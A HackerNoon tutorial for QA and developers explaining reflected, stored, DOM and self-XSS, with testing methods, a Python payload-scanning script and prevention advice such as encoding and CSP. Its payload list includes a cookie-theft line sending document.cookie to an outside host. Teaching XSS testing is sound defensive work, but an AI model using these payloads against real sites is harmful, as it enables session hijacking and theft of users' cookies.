Cross-Site Scripting (XSS) Vulnerabilities: Testing Strategies and Examples

Written by shad0wpuppet | Published 2024/01/31
Tech Story Tags: cybersecurity | xss-attack | xss | software-testing | software-qa | web-app-security | webappsec | penetration-testing

TLDRXSS poses persistent threats to web apps, risking data breaches and user trust. Understanding XSS types and testing methods is crucial for effective mitigation. Prevention techniques such as input validation, output encoding, and CSP implementation improve app security. By prioritizing security practices and collaboration, teams can protect their apps against XSS and ensure adequate web app security.via the TL;DR App

According to statistics I’ve seen and my experience, XSS vulnerabilities continue to be a prevalent threat to web applications, posing risks of data theft, session hijacking, and website issues. I decided that I could spend more time researching this vulnerability type and share with you at least this overview-like basic knowledge so many QA and dev experts may keep in mind some ways to test their apps against this issue. This article explores different types of XSS, testing methodologies, and automation approaches and provides some examples and payloads for effective penetration testing.

Cross-site scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users, exploiting vulnerabilities in client-side code execution. Understanding the different types of XSS vulnerabilities and using proper testing strategies are crucial to building secure web apps protected against such attacks.

XSS exploits occur when untrusted user input is inadequately sanitized and executed within a web application, enabling attackers to inject and execute malicious scripts in the context of other users' browsers.

Types of XSS Vulnerabilities

Reflected XSS

Occurs when user-supplied data is echoed back in the response without proper validation.

Example: <script>alert('XSS_DEMO')</script> injected through a URL parameter.

These exploits occur when a web application reflects unvalidated user input to the user's browser without proper sanitization. In this attack, the attacker crafts a malicious URL containing script code, which, when clicked by the victim, is executed within the context of the vulnerable web page. The malicious script is not stored on the server but is instead reflected directly from the user's input. Reflected XSS vulnerabilities are often leveraged in phishing attacks or to manipulate the user's browsing experience. The impact can be severe, ranging from cookie theft to session hijacking.

Stored XSS

Malicious script is permanently stored on the server and executed when accessed by other users.

Example: Malicious script stored in a comment/post on a forum post or social network profile page.

Also known as persistent XSS, arises when an attacker injects malicious script code into a web application, which is then stored on the server side. This injected script is later retrieved and executed whenever the vulnerable page is accessed by other users. Stored XSS attacks are particularly dangerous as the injected script persists over time, potentially affecting multiple users and leading to widespread exploitation. Attackers commonly target user-generated content such as comments, forum posts, entities names which are displayed on web pages or profile fields to execute their malicious payloads. The consequences of stored XSS can include data theft, account takeover, and website defacement, posing significant risks to both users and the affected organization.

DOM-based XSS

Script execution relies on the manipulation of the DOM on the client side.

Example: JS code retrieves and executes user-controlled data from the URL hash.

It occurs when a web application dynamically manipulates the DOM based on untrusted user input in an unsafe manner. Unlike traditional XSS attacks, which involve server-side processing, DOM-based XSS manifests entirely on the client side. Attackers exploit DOM-based XSS by manipulating client-side scripts to execute arbitrary code within the victim's browser. This type of XSS is often harder to detect and mitigate, as the vulnerability resides within the client-side code and may not be evident during server-side testing. DOM-based XSS attacks can lead to various consequences, including session hijacking, data exfiltration, and unauthorized actions on behalf of the user, highlighting the importance of client-side security measures and vigilant web app development practices.

Self-XSS

It is a social engineering attack where an attacker tricks a user into executing malicious code within their browser. Unlike traditional XSS attacks that target multiple users, Self-XSS exploits the user's trust to execute code within their session. Typically, attackers lure victims into pasting seemingly innocent-looking JS code into their browser's developer console or some fields of a website under the guise of a harmless action, such as unlocking a feature or earning rewards. Once executed, the injected code can potentially compromise the victim's account, steal sensitive information, or perform unauthorized actions on their behalf. Despite being limited to the victim's session, Self-XSS remains a threat, emphasizing the importance of user education and awareness to recognize and avoid such deceptive tactics.


Testing

Automation

  • Use security testing tools such as OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix, etc for automated scans for XSS.
  • Configure tools to crawl the application, identify input vectors, and inject payloads to detect XSS vulnerabilities.
  • Analyze scan results for identified vulnerabilities, reproduce them manually, create PoC, understand the potential impact, and prioritize fixing issues.

You can write some scripts; I prefer Python, for example:

import requests

def test_xss(url, parameter):
    payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert(1)>",
        # list of your payloads
    ]
    
    for payload in payloads:
        modified_url = f'{url}?{parameter}={payload}'
        response = requests.get(modified_url)
        if payload in response.text:
            print(f'Potential XSS detected here - {modified_url}')

# example
test_xss("https://testwebsite.com/search", "query_param_name")

Manual Testing

  • Identify input vectors susceptible to XSS injection (e.g., input fields, URL params). You can use crawlers and sniffers to identify vectors more efficiently.
  • Craft payloads to exploit XSS vulnerabilities (e.g., script tags, event handlers).

Analyze responses to determine if payloads are reflected or executed. Create PoC, understand the potential impact, and prioritize issues fixing.

Steps:

  1. Enter a script tag, followed by some JS code, into the input fields of your app.

    For example, basic XSS payloads:

    <script>alert('XSS');</script>
    
    (%0ejavascript:alert(/XSS/))
    
    <script>alert('XSS')</script>
    // Display alert dialog with 'XSS' message.
    
    <img src=x onerror=alert(((123)>
    // Load broken image, trigger alert with '123'.
    
    // Cookie Theft Payload:
    <img src="http://website.com/stealcookie?cookie="+document.cookie>
    // Sends victim's cookies to attacker-controlled server.
    
    // DOM-based XSS Payload:
    #"><img src=x onerror=alert(123)>
    // Exploits DOM manipulation, triggers alert on vulnerable pages.
    
  2. Submit the input and see if the script executes.

  3. If it does, then the application is vulnerable to XSS attacks.

  4. If the script doesn't execute, try modifying the input by adding other HTML tags, such as <img> or <iframe>, and see if they are reflected on the page, for example (this one almost always works for me):

    <b>t</b>#`"/*—est

  5. You can add a script to query params of your web app URL or a user name, uploaded file names, or any text that will be displayed on the app page that you can change.

  6. Be aware of front-end validations of inputs. Always try to submit the value using a direct request (using Postman, Burp, or any similar tools).

  7. Check the browser console in dev tools because sometimes you may not see any visible changes on the page, but some symbols, e.g. `"/*— may break the page’s JS/HTML, and you’ll see a warning in the console that could be a hint for you on how to modify your payload to get an XSS PoC

Use fuzzing and a list of payloads - automate this approach when possible or use special tools for it.

Personally, I like using payloads and info from here, it is a very useful resource, in my opinion.

Black-Box Testing

  • Identifying input vectors vulnerable to XSS injection.
  • Crafting and injecting XSS payloads to assess impact and identify vulnerable points.

Gray-Box Testing

  • Analyzing source code and sanitization procedures for potential XSS.
  • Leveraging partial knowledge of the application for targeted testing.

Exploiting XSS

XSS PoC

  • Demonstrates confirming XSS vulnerability by injecting payloads executing arbitrary JS.
  • Utilizing alternative payloads like print() function for Chrome browsers post version 92.

Advanced XSS Exploitation

  • To steal cookies, perform session hijacking, or execute arbitrary code.
  • To impersonate users, capture credentials, or deface web pages.

Bypassing XSS Filters

  • Evading common XSS filters through various techniques such as tag attribute value insertion, obfuscation, and HTTP Parameter Pollution (HPP).
  • Example scenarios are showcasing bypassing filter mechanisms to execute XSS payloads successfully.

Prevention Techniques

Input Validation and Output Encoding

  • Implement input validation mechanisms (FE and BE) to ensure that user-supplied data is okay with expected formats and does not contain malicious code.
  • Sanitize and validate all user inputs on the server side before processing or storing them.
  • Encode output data appropriately to prevent it from being interpreted as active content by the browser.
  • Utilize encoding techniques such as HTML entity encoding, URL encoding, and JS escaping based on the context of the output data.

Content Security Policy (CSP)

  • Implement Content Security Policy (CSP) headers to define and enforce security policies regarding the execution of scripts, stylesheets, and other resources within the web application. CSP allows administrators to restrict the sources from which scripts can be loaded, mitigating the risk of XSS attacks by preventing the execution of unauthorized scripts.
  • Configure CSP directives to specify trusted domains, inline script and style usage, and script nonces, effectively reducing the attack surface for XSS.

Context-Specific Output Encoding

Encode data based on the context in which the output data is being rendered. Apply different encoding methods for HTML, JS, CSS, and other contexts to ensure comprehensive protection against XSS.

For example, use HTML entity encoding for HTML content, JavaScript escaping for inline script contexts, and CSS escaping for style attributes to prevent script injection and maintain data integrity across various output contexts.

Input Whitelisting and Blacklisting

Implement input whitelisting and blacklisting to filter and validate user inputs based on predefined allowlists and denylists of permitted and prohibited characters, patterns, or content types.

  • Whitelisting involves explicitly defining the expected input formats and rejecting any inputs that do not conform to these specifications.
  • Blacklisting identifies and blocks known malicious inputs or patterns, although it may be less effective due to the potential for evasion through encoding or obfuscation techniques.

Security Headers and Sanitization Libraries

  • Use security headers such as X-XSS-Protection, X-Content-Type-Options, and X-Frame-Options to improve web app security and prevent various attack vectors, including XSS.
  • Integrate third-party sanitization libraries and frameworks into the development stack to automate input validation, output encoding, and other security-critical tasks. Regularly update and maintain these libraries to address emerging threats and vulnerabilities effectively.

Secure Dev Practices and Security Awareness

  • Promote secure development practices within the dev and QA teams, emphasizing the importance of writing secure code, conducting thorough code reviews, and performing security testing throughout the software development lifecycle.
  • Foster a culture of security awareness among devs, QA engineers, and other stakeholders, encouraging continuous learning and knowledge sharing regarding XSS and other vulnerabilities, exploitation techniques, and preventive measures.
  • Invest in ongoing training programs, courses, seminars, conferences, and resources to equip team members with the skills and expertise needed to identify, deal with, and prevent XSS effectively.

XSS poses persistent threats to web apps, risking data breaches and user trust. Understanding XSS types and testing methods is crucial for effective mitigation. Prevention techniques such as input validation, output encoding, and CSP implementation improve app security. By prioritizing security practices and collaboration, teams can protect their apps against XSS and ensure adequate web app security.


If you are a beginner and interested in cybersecurity and penetration testing or just want to improve your app to make it more secure, you can read my articles on these topics:

For more details about XSS and payloads, you can find the following resources:


A crucial reminder:

Always conduct penetration testing with explicit permission and within a controlled environment. This ethical approach ensures that security assessments align with responsible testing protocols, preventing inadvertent compromises to systems and upholding the integrity of both the testing process and overarching cybersecurity strategy.


Written by shad0wpuppet | I'm a Software QA Team Lead and Engineer/Analyst with 10+ years of experience working with all sorts of web apps
Published by HackerNoon on 2024/01/31